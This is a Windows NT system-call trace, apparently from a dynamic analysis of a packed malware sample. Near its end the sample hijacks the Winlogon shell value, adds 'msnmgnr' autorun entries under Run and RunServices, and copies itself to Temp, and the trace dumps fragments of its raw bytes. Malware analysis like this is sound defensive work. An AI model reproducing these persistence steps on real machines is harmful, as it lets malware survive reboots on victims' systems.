 00752  1356   NtUserFindExistingCursorIcon  (1240944, 1240960, 1241008, ... ) == 0x10011
 00753  1356   NtUserRegisterClassExWOW  (1240888, 1240956, 1240972, 1240988, 0, 384, 0, ... ) == 0x8173c05d
 00754  1356   NtUserFindExistingCursorIcon  (1240944, 1240960, 1241008, ... ) == 0x10011
 00755  1356   NtUserRegisterClassExWOW  (1240888, 1240956, 1240972, 1240988, 0, 384, 0, ... ) == 0x8173c05f
 00756  1356   NtTestAlert  (... ) == 0x0
 00757  1356   NtContinue  (1244464, 1, ...
 00758  1356   NtSetInformationThread  (-2, Win32StartAddress(LpcReceivedMessageId), {StartAddress(LpcReceivedMsgId)=0x400193f0,}, 4, ... ) == 0x0
 00759  1356   NtUserCallOneParam  (0, 41, ... ) == 0x4
 00760  1356   NtOpenThreadTokenEx  (-2, 0x20008, 1, 512, ... ) == STATUS_NO_TOKEN
 00761  1356   NtOpenProcessTokenEx  (-1, 0x20008, 512, ... 56, ) == 0x0
 00762  1356   NtQueryInformationToken  (56, User, 80, ... {token info, class 1, size 36}, 36, ) == 0x0
 00763  1356   NtClose  (56, ... ) == 0x0
 00764  1356   NtOpenKey  (0x2000000, {24, 0, 0x640, 0, 0,  (0x2000000, {24, 0, 0x640, 0, 0, "\REGISTRY\USER\S-1-5-21-1292428093-1383384898-725345543-1003"}, ... 56, ) }, ... 56, ) == 0x0
 00765  1356   NtSetInformationObject  (56, Handle, {Inherit=0,ProtectFromClose=1,}, 1179904, ... ) == 0x0
 00766  1356   NtOpenKey  (0xf0019, {24, 56, 0x40, 0, 0,  (0xf0019, {24, 56, 0x40, 0, 0, "Software\Borland\Locales"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00767  1356   NtOpenKey  (0xf0019, {24, 16, 0x40, 0, 0,  (0xf0019, {24, 16, 0x40, 0, 0, "Software\Borland\Locales"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00768  1356   NtOpenKey  (0xf0019, {24, 56, 0x40, 0, 0,  (0xf0019, {24, 56, 0x40, 0, 0, "Software\Borland\Delphi\Locales"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00769  1356   NtOpenProcessToken  (-1, 0x8, ... 64, ) == 0x0
 00770  1356   NtQueryInformationToken  (64, Statistics, 56, ... {token info, class 10, size 56}, 56, ) == 0x0
 00771  1356   NtClose  (64, ... ) == 0x0
 00772  1356   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\u:\work\packed.ENU"}, 1239092, ... ) }, 1239092, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00773  1356   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\u:\work\packed.ENU"}, 1238688, ... ) }, 1238688, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00774  1356   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\u:\work\packed.ENU.DLL"}, 1238688, ... ) }, 1238688, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00775  1356   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\u:\work\packed.EN"}, 1239092, ... ) }, 1239092, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00776  1356   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\u:\work\packed.EN"}, 1238688, ... ) }, 1238688, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00777  1356   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\u:\work\packed.EN.DLL"}, 1238688, ... ) }, 1238688, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00778  1356   NtAllocateVirtualMemory  (-1, 0, 0, 1310720, 4096, 4, ... 9502720, 1310720, ) == 0x0
 00779  1356   NtUserCallNoParam  (29, ...
 00780  1356   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\C:\WINDOWS\system32\uxtheme.dll"}, 1242276, ... ) }, 1242276, ... ) == 0x0
 00781  1356   NtOpenFile  (0x100020, {24, 0, 0x40, 0, 0,  (0x100020, {24, 0, 0x40, 0, 0, "\??\C:\WINDOWS\system32\uxtheme.dll"}, 5, 96, ... 64, {status=0x0, info=1}, ) }, 5, 96, ... 64, {status=0x0, info=1}, ) == 0x0
 00782  1356   NtCreateSection  (0xe, 0x0, 0x0, 16, 134217728, 64, ... 68, ) == 0x0
 00783  1356   NtClose  (64, ... ) == 0x0
 00784  1356   NtMapViewOfSection  (68, -1, (0x0), 0, 0, 0x0, 0, 1, 0, 16, ... (0x860000), 0x0, 221184, ) == 0x0
 00785  1356   NtClose  (68, ... ) == 0x0
 00786  1356   NtUnmapViewOfSection  (-1, 0x860000, ... ) == 0x0
 00787  1356   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\C:\WINDOWS\system32\uxtheme.dll"}, 1242584, ... ) }, 1242584, ... ) == 0x0
 00788  1356   NtOpenFile  (0x100020, {24, 0, 0x40, 0, 0,  (0x100020, {24, 0, 0x40, 0, 0, "\??\C:\WINDOWS\system32\uxtheme.dll"}, 5, 96, ... 68, {status=0x0, info=1}, ) }, 5, 96, ... 68, {status=0x0, info=1}, ) == 0x0
 00789  1356   NtCreateSection  (0xf, 0x0, 0x0, 16, 16777216, 68, ... 64, ) == 0x0
 00790  1356   NtQuerySection  (64, Image, 48, ... {section info, class 1, size 48}, 0x0, ) == 0x0
 00791  1356   NtClose  (68, ... ) == 0x0
 00792  1356   NtMapViewOfSection  (64, -1, (0x0), 0, 0, 0x0, 0, 1, 0, 4, ... (0x5ad70000), 0x0, 229376, ) == 0x0
 00793  1356   NtClose  (64, ... ) == 0x0
 00794  1356   NtProtectVirtualMemory  (-1, (0x5ad71000), 1300, 4, ... (0x5ad71000), 4096, 32, ) == 0x0
 00795  1356   NtProtectVirtualMemory  (-1, (0x5ad71000), 4096, 32, ... (0x5ad71000), 4096, 4, ) == 0x0
 00796  1356   NtFlushInstructionCache  (-1, 1524043776, 1300, ... ) == 0x0
 00797  1356   NtProtectVirtualMemory  (-1, (0x5ad71000), 1300, 4, ... (0x5ad71000), 4096, 32, ) == 0x0
 00798  1356   NtProtectVirtualMemory  (-1, (0x5ad71000), 4096, 32, ... (0x5ad71000), 4096, 4, ) == 0x0
 00799  1356   NtFlushInstructionCache  (-1, 1524043776, 1300, ... ) == 0x0
 00800  1356   NtProtectVirtualMemory  (-1, (0x5ad71000), 1300, 4, ... (0x5ad71000), 4096, 32, ) == 0x0
 00801  1356   NtProtectVirtualMemory  (-1, (0x5ad71000), 4096, 32, ... (0x5ad71000), 4096, 4, ) == 0x0
 00802  1356   NtFlushInstructionCache  (-1, 1524043776, 1300, ... ) == 0x0
 00803  1356   NtProtectVirtualMemory  (-1, (0x5ad71000), 1300, 4, ... (0x5ad71000), 4096, 32, ) == 0x0
 00804  1356   NtProtectVirtualMemory  (-1, (0x5ad71000), 4096, 32, ... (0x5ad71000), 4096, 4, ) == 0x0
 00805  1356   NtFlushInstructionCache  (-1, 1524043776, 1300, ... ) == 0x0
 00806  1356   NtOpenKey  (0x80000000, {24, 0, 0x40, 0, 0,  (0x80000000, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\uxtheme.dll"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00807  1356   NtUserGetWindowDC  (0, ... ) == 0x1010052
 00808  1356   NtUserCallOneParam  (16842834, 57, ... ) == 0x1
 00809  1356   NtOpenThreadTokenEx  (-2, 0x20008, 1, 512, ... ) == STATUS_NO_TOKEN
 00810  1356   NtOpenProcessTokenEx  (-1, 0x20008, 512, ... 64, ) == 0x0
 00811  1356   NtQueryInformationToken  (64, User, 80, ... {token info, class 1, size 36}, 36, ) == 0x0
 00812  1356   NtClose  (64, ... ) == 0x0
 00813  1356   NtOpenKey  (0x2001f, {24, 0, 0x640, 0, 0,  (0x2001f, {24, 0, 0x640, 0, 0, "\REGISTRY\USER\S-1-5-21-1292428093-1383384898-725345543-1003"}, ... 64, ) }, ... 64, ) == 0x0
 00814  1356   NtOpenKey  (0x1, {24, 64, 0x40, 0, 0,  (0x1, {24, 64, 0x40, 0, 0, "Software\Microsoft\Windows\CurrentVersion\ThemeManager"}, ... 68, ) }, ... 68, ) == 0x0
 00815  1356   NtQueryValueKey  (68,  (68, "Compositing", Partial, 144, ... ) , Partial, 144, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00816  1356   NtClose  (68, ... ) == 0x0
 00817  1356   NtClose  (64, ... ) == 0x0
 00818  1356   NtOpenThreadTokenEx  (-2, 0x20008, 1, 512, ... ) == STATUS_NO_TOKEN
 00819  1356   NtOpenProcessTokenEx  (-1, 0x20008, 512, ... 64, ) == 0x0
 00820  1356   NtQueryInformationToken  (64, User, 80, ... {token info, class 1, size 36}, 36, ) == 0x0
 00821  1356   NtClose  (64, ... ) == 0x0
 00822  1356   NtOpenKey  (0x20019, {24, 0, 0x640, 0, 0,  (0x20019, {24, 0, 0x640, 0, 0, "\REGISTRY\USER\S-1-5-21-1292428093-1383384898-725345543-1003"}, ... 64, ) }, ... 64, ) == 0x0
 00823  1356   NtOpenKey  (0x1, {24, 64, 0x40, 0, 0,  (0x1, {24, 64, 0x40, 0, 0, "Control Panel\Desktop"}, ... 68, ) }, ... 68, ) == 0x0
 00824  1356   NtQueryValueKey  (68,  (68, "LameButtonText", Partial, 144, ... ) , Partial, 144, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00825  1356   NtClose  (68, ... ) == 0x0
 00826  1356   NtClose  (64, ... ) == 0x0
 00827  1356   NtUserGetProcessWindowStation  (... ) == 0x1c
 00828  1356   NtUserGetObjectInformation  (28, 2, 1244372, 64, 1244368, ... ) == 0x1
 00829  1356   NtUserGetGUIThreadInfo  (1356, 1244392, ... ) == 0x1
 00830  1356   NtConnectPort  ( ("\ThemeApiPort", {12, 2, 1, 1}, 0x0, 0x0, 1244236, 64, ... 64, 0x0, 0x0, 0x0, 64, ) , {12, 2, 1, 1}, 0x0, 0x0, 1244236, 64, ... 64, 0x0, 0x0, 0x0, 64, ) == 0x0
 00831  1356   NtRequestWaitReplyPort  (64, {32, 56, new_msg, 0, 0, 0, 0, 0}  (64, {32, 56, new_msg, 0, 0, 0, 0, 0} "\4\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" ... {32, 56, reply, 0, 220, 1356, 75650, 0} "\0\0\0\0\1\0\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" )  ... {32, 56, reply, 0, 220, 1356, 75650, 0}  (64, {32, 56, new_msg, 0, 0, 0, 0, 0} "\4\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" ... {32, 56, reply, 0, 220, 1356, 75650, 0} "\0\0\0\0\1\0\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" )  ) == 0x0
 00832  1356   NtRequestWaitReplyPort  (64, {32, 56, new_msg, 0, 0, 0, 0, 0}  (64, {32, 56, new_msg, 0, 0, 0, 0, 0} "\355\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" ... {32, 56, reply, 0, 220, 1356, 75651, 0} "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" )  ... {32, 56, reply, 0, 220, 1356, 75651, 0}  (64, {32, 56, new_msg, 0, 0, 0, 0, 0} "\355\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" ... {32, 56, reply, 0, 220, 1356, 75651, 0} "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" )  ) == 0x0
 00833  1356   NtUserCallNoParam  (29, ...
 00834  1356   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\C:\WINDOWS\system32\uxtheme.dll"}, 1241632, ... ) }, 1241632, ... ) == 0x0
 00833  1356   NtUserCallNoParam  ... ) == 0x0
 00835  1356   NtUserSystemParametersInfo  (41, 0, 1524240760, 0, ... ) == 0x1
 00836  1356   NtGdiHfontCreate  (1243760, 356, 0, 0, 1332976, ... ) == 0xec0a063f
 00837  1356   NtGdiHfontCreate  (1243760, 356, 0, 0, 1332968, ... ) == 0x860a07af
 00838  1356   NtRequestWaitReplyPort  (64, {32, 56, new_msg, 0, 0, 0, 0, 0}  (64, {32, 56, new_msg, 0, 0, 0, 0, 0} "\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" ... {32, 56, reply, 0, 220, 1356, 75652, 0} "\0\0\0\0\0\0\0\0D\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" )  ... {32, 56, reply, 0, 220, 1356, 75652, 0}  (64, {32, 56, new_msg, 0, 0, 0, 0, 0} "\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" ... {32, 56, reply, 0, 220, 1356, 75652, 0} "\0\0\0\0\0\0\0\0D\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" )  ) == 0x0
 00839  1356   NtMapViewOfSection  (68, -1, (0x0), 0, 0, {0, 0}, 0, 1, 0, 2, ... (0x860000), {0, 0}, 327680, ) == 0x0
 00840  1356   NtUserGetWindowDC  (0, ... ) == 0x1010052
 00841  1356   NtUserCallOneParam  (16842834, 57, ... ) == 0x1
 00842  1356   NtUserGetWindowDC  (0, ... ) == 0x1010052
 00843  1356   NtUserCallOneParam  (16842834, 57, ... ) == 0x1
 00844  1356   NtUserGetWindowDC  (0, ... ) == 0x1010052
 00845  1356   NtUserCallOneParam  (16842834, 57, ... ) == 0x1
 00846  1356   NtUserGetWindowDC  (0, ... ) == 0x1010052
 00847  1356   NtUserCallOneParam  (16842834, 57, ... ) == 0x1
 00848  1356   NtUserGetWindowDC  (0, ... ) == 0x1010052
 00849  1356   NtUserCallOneParam  (16842834, 57, ... ) == 0x1
 00850  1356   NtUserGetWindowDC  (0, ... ) == 0x1010052
 00851  1356   NtUserCallOneParam  (16842834, 57, ... ) == 0x1
 00852  1356   NtUserGetWindowDC  (0, ... ) == 0x1010052
 00853  1356   NtUserCallOneParam  (16842834, 57, ... ) == 0x1
 00854  1356   NtUserGetWindowDC  (0, ... ) == 0x1010052
 00855  1356   NtUserCallOneParam  (16842834, 57, ... ) == 0x1
 00856  1356   NtUserGetWindowDC  (0, ... ) == 0x1010052
 00857  1356   NtGdiCreatePatternBrushInternal  (59048383, 0, 0, ... ) == 0x241004e5
 00858  1356   NtUserCallOneParam  (16842834, 57, ... ) == 0x1
 00859  1356   NtUserCallNoParam  (29, ...
 00860  1356   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\C:\WINDOWS\system32\uxtheme.dll"}, 1241072, ... ) }, 1241072, ... ) == 0x0
 00859  1356   NtUserCallNoParam  ... ) == 0x0
 00861  1356   NtUserCallNoParam  (29, ...
 00862  1356   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\C:\WINDOWS\system32\uxtheme.dll"}, 1241068, ... ) }, 1241068, ... ) == 0x0
 00861  1356   NtUserCallNoParam  ... ) == 0x0
 00779  1356   NtUserCallNoParam  ... ) == 0x1
 00863  1356   NtCreateEvent  (0x1f0003, {24, 48, 0x80, 0, 0, ""}, 0, 0, ... 72, ) == 0x0
 00864  1356   NtCreateEvent  (0x1f0003, 0x0, 0, -1, ... 76, ) == 0x0
 00865  1356   NtCreateEvent  (0x1f0003, 0x0, 1, 0, ... 80, ) == 0x0
 00866  1356   NtUserGetDC  (0, ... ) == 0x1010054
 00867  1356   NtUserCallOneParam  (16842836, 57, ... ) == 0x1
 00868  1356   NtUserGetDC  (0, ... ) == 0x1010054
 00869  1356   NtUserCallOneParam  (16842836, 57, ... ) == 0x1
 00870  1356   NtGdiCreatePaletteInternal  (1243940, 16, ... ) == 0xaa080656
 00871  1356   NtGdiGetStockObject  (7, ... ) == 0x1b00017
 00872  1356   NtGdiGetStockObject  (5, ... ) == 0x1900015
 00873  1356   NtUserFindExistingCursorIcon  (1244304, 1244320, 1244368, ... ) == 0x10003
 00874  1356   NtOpenKey  (0x20019, {24, 16, 0x40, 0, 0,  (0x20019, {24, 16, 0x40, 0, 0, "SOFTWARE\Microsoft\Windows NT\CurrentVersion\FontSubstitutes"}, ... 84, ) }, ... 84, ) == 0x0
 00875  1356   NtQueryValueKey  (84,  (84, "MS Shell Dlg 2", Partial, 144, ... TitleIdx=0, Type=1, Data="T\0a\0h\0o\0m\0a\0\0\0"}, 26, ) , Partial, 144, ... TitleIdx=0, Type=1, Data= (84, "MS Shell Dlg 2", Partial, 144, ... TitleIdx=0, Type=1, Data="T\0a\0h\0o\0m\0a\0\0\0"}, 26, ) }, 26, ) == 0x0
 00876  1356   NtQueryValueKey  (84,  (84, "MS Shell Dlg 2", Partial, 144, ... TitleIdx=0, Type=1, Data="T\0a\0h\0o\0m\0a\0\0\0"}, 26, ) , Partial, 144, ... TitleIdx=0, Type=1, Data= (84, "MS Shell Dlg 2", Partial, 144, ... TitleIdx=0, Type=1, Data="T\0a\0h\0o\0m\0a\0\0\0"}, 26, ) }, 26, ) == 0x0
 00877  1356   NtQueryValueKey  (84,  (84, "MS Shell Dlg 2", Partial, 144, ... TitleIdx=0, Type=1, Data="T\0a\0h\0o\0m\0a\0\0\0"}, 26, ) , Partial, 144, ... TitleIdx=0, Type=1, Data= (84, "MS Shell Dlg 2", Partial, 144, ... TitleIdx=0, Type=1, Data="T\0a\0h\0o\0m\0a\0\0\0"}, 26, ) }, 26, ) == 0x0
 00878  1356   NtQueryValueKey  (84,  (84, "MS Shell Dlg 2", Partial, 144, ... TitleIdx=0, Type=1, Data="T\0a\0h\0o\0m\0a\0\0\0"}, 26, ) , Partial, 144, ... TitleIdx=0, Type=1, Data= (84, "MS Shell Dlg 2", Partial, 144, ... TitleIdx=0, Type=1, Data="T\0a\0h\0o\0m\0a\0\0\0"}, 26, ) }, 26, ) == 0x0
 00879  1356   NtClose  (84, ... ) == 0x0
 00880  1356   NtQueryPerformanceCounter  (... {1135886402, 16}, {3579545, 0}, ) == 0x0
 00881  1356   NtCreateFile  (0x80100080, {24, 0, 0x40, 0, 1243808,  (0x80100080, {24, 0, 0x40, 0, 1243808, "\??\u:\work\packed.exe"}, 0x0, 0, 1, 1, 2097252, 0, 0, ... 84, {status=0x0, info=1}, ) }, 0x0, 0, 1, 1, 2097252, 0, 0, ... 84, {status=0x0, info=1}, ) == 0x0
 00882  1356   NtQueryInformationFile  (84, 1244244, 8, AttributeFlag, ... {status=0x0, info=8}, ) == 0x0
 00883  1356   NtQueryInformationFile  (84, 1244160, 24, Standard, ... {status=0x0, info=24}, ) == 0x0
 00884  1356   NtQueryInformationFile  (84, 1243976, 40, Basic, ... {status=0x0, info=40}, ) == 0x0
 00885  1356   NtAllocateVirtualMemory  (-1, 1339392, 0, 8192, 4096, 4, ... 1339392, 8192, ) == 0x0
 00886  1356   NtQueryInformationFile  (84, 1339248, 4094, Stream, ... {status=0x0, info=38}, ) == 0x0
 00887  1356   NtQueryInformationFile  (84, 1242424, 40, Basic, ... {status=0x0, info=40}, ) == 0x0
 00888  1356   NtClose  (84, ... ) == 0x0
 00889  1356   NtCreateKey  (0x2000f, {24, 0, 0xc0, 0, 0,  (0x2000f, {24, 0, 0xc0, 0, 0, "\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Winlogon"}, 0, 0x0, 0, ... 84, 2, ) }, 0, 0x0, 0, ... 84, 2, ) == 0x0
 00890  1356   NtDuplicateObject  (-1, 84, -1, 0x0, 0, 2, ... 88, ) == 0x0
 00891  1356   NtQueryValueKey  (88,  (88, "shell", Basic, 16, ... ) , Basic, 16, ... ) == STATUS_BUFFER_OVERFLOW
 00892  1356   NtSetValueKey  (88,  (88, "shell", 0, 1, "E\0x\0p\0l\0o\0r\0e\0r\0.\0e\0x\0e\0 \0m\0s\0n\0m\0n\0g\0r\0.\0e\0x\0e\0\0\0", 50, ... , 0, 1,  (88, "shell", 0, 1, "E\0x\0p\0l\0o\0r\0e\0r\0.\0e\0x\0e\0 \0m\0s\0n\0m\0n\0g\0r\0.\0e\0x\0e\0\0\0", 50, ... , 50, ...
 00893  1356   NtSetInformationFile  (-2147482448, -140691664, 8, EndOfFile, ... {status=0x0, info=0}, ) == 0x0
 00894  1356   NtSetInformationFile  (-2147482448, -140692052, 8, EndOfFile, ... {status=0x0, info=0}, ) == 0x0
 00892  1356   NtSetValueKey  ... ) == 0x0
 00895  1356   NtClose  (88, ... ) == 0x0
 00896  1356   NtCreateKey  (0xf003f, {24, 16, 0x40, 0, 0,  (0xf003f, {24, 16, 0x40, 0, 0, "Software\Microsoft\Windows\CurrentVersion\Run"}, 0, 0x0, 0, ... 88, 2, ) }, 0, 0x0, 0, ... 88, 2, ) == 0x0
 00897  1356   NtSetValueKey  (88,  (88, "msnmgnr", 0, 1, "C\0:\0\\0W\0I\0N\0D\0O\0W\0S\0\\0s\0y\0s\0t\0e\0m\03\02\0\\0m\0s\0n\0m\0g\0n\0r\0.\0e\0x\0e\0\0\0", 64, ... , 0, 1,  (88, "msnmgnr", 0, 1, "C\0:\0\\0W\0I\0N\0D\0O\0W\0S\0\\0s\0y\0s\0t\0e\0m\03\02\0\\0m\0s\0n\0m\0g\0n\0r\0.\0e\0x\0e\0\0\0", 64, ... , 64, ...
 00898  1356   NtSetInformationFile  (-2147482448, -140691664, 8, EndOfFile, ... {status=0x0, info=0}, ) == 0x0
 00899  1356   NtSetInformationFile  (-2147482448, -140691756, 8, EndOfFile, ... {status=0x0, info=0}, ) == 0x0
 00897  1356   NtSetValueKey  ... ) == 0x0
 00900  1356   NtClose  (88, ... ) == 0x0
 00901  1356   NtCreateKey  (0xf003f, {24, 16, 0x40, 0, 0,  (0xf003f, {24, 16, 0x40, 0, 0, "Software\Microsoft\Windows\CurrentVersion\RunServices"}, 0, 0x0, 0, ... }, 0, 0x0, 0, ...
 00902  1356   NtSetInformationFile  (-2147482448, -140692464, 8, EndOfFile, ... {status=0x0, info=0}, ) == 0x0
 00903  1356   NtSetInformationFile  (-2147482448, -140692748, 8, EndOfFile, ... {status=0x0, info=0}, ) == 0x0
 00904  1356   NtSetInformationFile  (-2147482448, -140692560, 8, EndOfFile, ... {status=0x0, info=0}, ) == 0x0
 00901  1356   NtCreateKey  ... 88, 1, ) == 0x0
 00905  1356   NtSetValueKey  (88,  (88, "msnmgnr", 0, 1, "C\0:\0\\0W\0I\0N\0D\0O\0W\0S\0\\0s\0y\0s\0t\0e\0m\03\02\0\\0m\0s\0n\0m\0g\0n\0r\0.\0e\0x\0e\0\0\0", 64, ... ) , 0, 1,  (88, "msnmgnr", 0, 1, "C\0:\0\\0W\0I\0N\0D\0O\0W\0S\0\\0s\0y\0s\0t\0e\0m\03\02\0\\0m\0s\0n\0m\0g\0n\0r\0.\0e\0x\0e\0\0\0", 64, ... ) , 64, ... ) == 0x0
 00906  1356   NtClose  (88, ... ) == 0x0
 00907  1356   NtCreateFile  (0x80100080, {24, 0, 0x40, 0, 1242536,  (0x80100080, {24, 0, 0x40, 0, 1242536, "\??\u:\work\packed.exe"}, 0x0, 128, 1, 1, 96, 0, 0, ... 88, {status=0x0, info=1}, ) }, 0x0, 128, 1, 1, 96, 0, 0, ... 88, {status=0x0, info=1}, ) == 0x0
 00908  1356   NtSetInformationFile  (88, 1242628, 8, Position, ... {status=0x0, info=0}, ) == 0x0
 00909  1356   NtCreateFile  (0x40100080, {24, 0, 0x40, 0, 1242536,  (0x40100080, {24, 0, 0x40, 0, 1242536, "\??\C:\DOCUME~1\MARTIM~1\LOCALS~1\Temp\packed.exe"}, 0x0, 128, 2, 5, 96, 0, 0, ... }, 0x0, 128, 2, 5, 96, 0, 0, ...
 00910  1356   NtClose  (-2147482576, ... ) == 0x0
 00911  1356   NtQueryDirectoryFile  (-2147482576, 0, 0, 0, -519589888, 4096, Names, 1,  (-2147482576, 0, 0, 0, -519589888, 4096, Names, 1, "DOCUME~1", 1, ... {status=0x0, info=56}, ) , 1, ... {status=0x0, info=56}, ) == 0x0
 00912  1356   NtClose  (-2147482576, ... ) == 0x0
 00913  1356   NtQueryDirectoryFile  (-2147482576, 0, 0, 0, -519589888, 4096, Names, 1,  (-2147482576, 0, 0, 0, -519589888, 4096, Names, 1, "MARTIM~1", 1, ... {status=0x0, info=40}, ) , 1, ... {status=0x0, info=40}, ) == 0x0
 00914  1356   NtClose  (-2147482576, ... ) == 0x0
 00915  1356   NtQueryDirectoryFile  (-2147482576, 0, 0, 0, -519589888, 4096, Names, 1,  (-2147482576, 0, 0, 0, -519589888, 4096, Names, 1, "LOCALS~1", 1, ... {status=0x0, info=40}, ) , 1, ... {status=0x0, info=40}, ) == 0x0
 00916  1356   NtClose  (-2147482576, ... ) == 0x0
 00909  1356   NtCreateFile  ... 92, {status=0x0, info=2}, ) == 0x0
 00917  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\353_\215n\1\201\375\377\7\0\0}(V\215D$\10\213L$\4\272\377\17\0\0\350\204\377\377\377\213\330\205\333|\17\215T$\4\213\307\213\313\350A\377\377\377\353,\213\335\3\333\213\307\213\323\3502\5\0\0V\213\7\213L$\4\213\323\350T\377\377\377\213\330\205\333}\23\333\213\307\213\323\350\23\5\0\0\201\304\4\20\0\0]_^[\303R\211\342\271\1\0\0\0\350\373\376\377\377Z\303\2201\311\205\322t!R:\12t\27:J\1t\21:J\2t\13:J\3t\5\203\302\4\353\350BBB\211\321Z)\321\351\314\376\377\377\303\215@\01\311\205\322t-Rf;\12t f;J\2t\27f;J\4t\16f;J\6t\5\203\302\10\353\344\203\302\2\203\302\2\203\302\2\211\321Z)\321\321\351\351\374\376\377\377\303\215@\01\311\212\12B\351\202\376\377\377\303\220WPQ\211\3271\300\362\256u\2\367\321X\1\301X_\351i\376\377\377\3031\311\205\322t\5\213J\374\321\351\351\304\376\377\377\303\215@\0S\205\322t\30\213Z\374\205\333t\219\331|\2\211\331\210\10@\222\350\301\342\377\377[\303\306\0\0[\303\213\300\205\300t\5\203\350\4\213\0\303\213\300\205\322t?\213\10\205\311\17\204z\375\377\377SVW\211\303\211\326\213y\374\213V\374\1\3729\316t\27\350\376\3\0\0\211\360\213N\374\213\23\1\372\350x\342\377\377_^[\303\350\347\3\0\0\213\3\211\371\353\350\303\205\322ta\205\311\17\2048\375\377\377;\20t\;\10t\16PQ\350)\375\377\377ZX\351\232\377\377\377SVW\211\323\211\316P\213C\374\3F\374\350\177\375\377\377\211\307\211\302\211\330\213K\374\350%\342\377\377\211\372\211\360\213N\374\3S\374\350\26\342\377\377X\211\372\205\377t\3\377O\370\350\343\374\377", ) , ) == 0x0
 00918  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "5G\4/\242\266\240\305\215\6\36\32\177$\1[a\250\272\211\25\205D\216#\37?Co\240\272\361Td\251\251\210\2243 \256Q\10\5\261\353.\32X\301B`Or\206\274\35\37`2\300{u\214\351}5\202\377D\333\172U\321:\353\35Rt\4\6gLcM\5\310\11\325\33\3\242\204Z\17\232\221\226\20\230\250\226E\322\303\326\275\177\345t\373\377\3676\333\230I\354u\350k\323-\271\16W)\370J\222\204\362F\204[0\351\260\37\3\221\342>\2\361\20q\253\274\231\375\332\273\224Q\273b\371\313\31\244O\331\12R\267}\327sGIb\37\220\226\7\343b\10\237\6\270\13\30\232S\201\367-\23\36b\377z\224/\354\261\301\307\232Y\212\3245\237\4&\345\17Mbn\350\371\334,\363\252\216\24\327V$\324\1\347#\35\305\5\231\177\220\223=i,\355\315+\16\204\15A\21q#\320\310\261\217\325\241c\363op\20\11^b:\332#\33\244\334\204eI\376z\310Qg@\262\272\215\213W\11[\365\212?\246\216\261\236\267\213?\217\21\307\303\v\317H@\350R\227m\247$\341\6\355\334\367\266\24h^\4\6\273\36V\23\227n\244\12\222\300F\2437\201]\210\350O\205\205(\245\32M\2779\325\307(\24R{\366\2025\260\260\364G\242b\274|]\252\376\21 \354\220`\314D3\377\302\302\267\10\316\226y7\333?\26.\376f\277\262",W\267\357)x\2028Z\365\355Fqm\201\312w\\202C:\203u\35O\315w\223\263*x8\311\272\316\271h0\217jw^\231\16\177\250\217\4\23\252\356\254\267;\22\244\360w\24\374\244~*\203\33}y\200\255i\343\212\200\317\30\215\232@<\33Ea\247\354\362\263\300\371\335\262\353isC\10H\04\30\227\203W\242\35", 1024, 0x0, 0, ... 